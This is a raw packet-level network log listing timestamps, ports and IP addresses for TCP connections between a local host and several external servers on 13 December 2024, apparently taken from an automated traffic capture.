Dec 13, 2024 01:51:41.279282093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.279324055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.279390097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.279675007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.279726982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.279745102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.279793978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.280662060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.280709982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.281073093 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.281188011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.281205893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.281272888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.282088995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.282131910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.282202959 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.282254934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.283071995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.283189058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.283241034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.284090042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.284135103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.284188986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.284239054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.285115957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.285168886 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.285213947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.285263062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.286117077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.286218882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.286269903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.287128925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.287249088 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.287298918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.288134098 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.288177013 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.288233042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.288276911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.289141893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.289191008 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.289247036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.289335012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.290163994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.290273905 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.290282965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.290323019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.291171074 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.291290045 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.291297913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.291479111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.292205095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.292279005 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.292315960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.292382002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.293193102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.293303013 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.293359041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.294236898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.294326067 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.294370890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.294574022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.295238972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.295294046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.295342922 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.295392036 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.296247005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.296298027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.296379089 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.296540022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.297240973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.297290087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.297347069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.297390938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.298252106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.298309088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.298391104 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.298444033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.299284935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.299346924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.299400091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.299447060 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.300292969 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.300359011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.300385952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.300434113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.301302910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.301362991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.301431894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.301486015 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.302314043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.302428961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.302478075 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.303322077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.303381920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.303420067 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.303464890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.304346085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.304397106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.304450989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.304554939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.305381060 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.305474043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.305479050 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.305530071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.306365967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.306482077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.306533098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.307368994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.307473898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.307526112 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.308387041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.308440924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.308485985 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.308562040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.309401989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.309451103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.309494972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.309544086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.310398102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.310446024 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.310494900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.310540915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.311419010 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.311465979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.311538935 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.311590910 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.312434912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.312530041 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.312563896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.312597036 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.313427925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.313554049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.313608885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.314454079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.314503908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.314553022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.314666986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.315486908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.315531969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.315586090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.315627098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.316510916 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.316565037 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.316596031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.316698074 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.317490101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.317543983 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.317615986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.317657948 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.318507910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.318607092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.318614006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.318646908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.319524050 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.319575071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.319586039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.319787979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.320554972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.320604086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.320652008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.320703030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.321542025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.321594000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.321636915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.321690083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.322580099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.322659016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.322673082 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.322715044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.323580027 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.323627949 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.323682070 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.323806047 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.324594975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.324642897 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.324697971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.324810028 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.325603008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.325716972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.325771093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.326607943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.326659918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.326738119 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.326791048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.327621937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.327677011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.327724934 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.327771902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.328649044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.328707933 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.328738928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.328787088 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.329648972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.329775095 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.329828978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.330646038 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.330715895 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.330759048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.330836058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.331679106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.331737995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.331759930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.331803083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.471466064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.471537113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.471560001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.471661091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.471904039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.472003937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.472055912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.472912073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.472981930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.473033905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.473086119 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.473964930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:41.474026918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:41.936958075 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:41.937092066 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:41.937530994 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:41.938841105 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:41.938841105 CET	49843	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:41.938863039 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:41.938868046 CET	443	49843	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:42.231911898 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:42.232009888 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:42.232439041 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:42.232439041 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:42.232528925 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:43.324431896 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:43.444870949 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:43.447042942 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:43.447117090 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:43.454152107 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:43.454193115 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:43.454420090 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:43.455868959 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:43.455910921 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:43.455955029 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:43.663803101 CET	49836	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:43.664119959 CET	49855	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:43.783911943 CET	80	49855	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:43.783968925 CET	80	49836	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:43.784003019 CET	49855	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:43.784039974 CET	49836	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:43.811242104 CET	49855	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:43.815476894 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:43.815689087 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:43.931092024 CET	80	49855	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:44.545553923 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.545582056 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.545622110 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.545653105 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.545723915 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.545768023 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.545790911 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.553603888 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.553642988 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.553699017 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.553716898 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.570365906 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.570415974 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.570420980 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.570432901 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.570489883 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.666953087 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.737592936 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.737894058 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.737961054 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.741447926 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.741518974 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.741538048 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.741566896 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.743161917 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.744472980 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.744528055 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:44.744563103 CET	49849	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:44.744577885 CET	443	49849	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:45.127505064 CET	80	49855	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:45.129375935 CET	49855	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:45.130970955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:45.131880999 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:45.250974894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:45.251036882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:45.251573086 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:45.254928112 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:45.255191088 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:45.374856949 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:45.581096888 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:45.581110001 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:45.581253052 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:45.581594944 CET	49862	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:45.581609011 CET	443	49862	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:45.987370968 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:46.107640028 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:46.481194973 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:46.481259108 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:46.581387997 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581449032 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581455946 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581464052 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581494093 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581506968 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581516981 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581552029 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581563950 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581590891 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581602097 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581640959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581654072 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581670046 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581681967 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581695080 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581751108 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581783056 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.581793070 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.581819057 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.701446056 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.701483965 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.701494932 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.701524019 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.705705881 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.705754042 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.705807924 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.705950975 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.709939957 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:46.710015059 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:46.710099936 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:46.711447954 CET	49863	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:46.711482048 CET	443	49863	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:46.773984909 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.774041891 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.774091959 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.774153948 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.778198004 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.778280973 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.778309107 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.778352976 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.786642075 CET	80	49858	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:46.786691904 CET	49858	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:46.786755085 CET	80	49858	31.41.244.11	192.168.2.4
